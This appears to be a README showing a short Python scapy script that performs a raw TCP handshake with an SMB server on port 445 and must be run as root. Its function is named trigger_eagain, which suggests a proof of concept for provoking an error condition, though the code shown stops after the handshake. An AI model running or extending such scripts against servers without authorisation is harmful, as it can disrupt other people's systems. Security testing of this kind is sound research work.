README.md
Rendering markdown...
import sys
import os
from scapy.all import *
# --- Configuration ---
SERVER_IP = "192.168.121.2" # CHANGE TO YOUR SERVER IP
SERVER_PORT = 445
CLIENT_PORT = random.randint(1024, 65535)
def trigger_eagain():
# --- TCP Handshake ---
print(f"[*] Starting TCP 3-Way Handshake to {SERVER_IP}:{SERVER_PORT}")
ip = IP(dst=SERVER_IP)
syn = TCP(sport=CLIENT_PORT, dport=SERVER_PORT, flags='S', seq=1000)
syn_ack = sr1(ip/syn, timeout=2, verbose=False)
if not syn_ack:
print("[!] Handshake failed.")
return
print("[+] Handshake complete.")
next_seq = syn.seq + 1
next_ack = syn_ack.seq + 1
send(ip/TCP(sport=CLIENT_PORT, dport=SERVER_PORT, flags='A', seq=next_seq, ack=next_ack), verbose=False)
if __name__ == "__main__":
if os.geteuid() != 0:
print("[!] This script must be run as root.")
sys.exit(1)
trigger_eagain()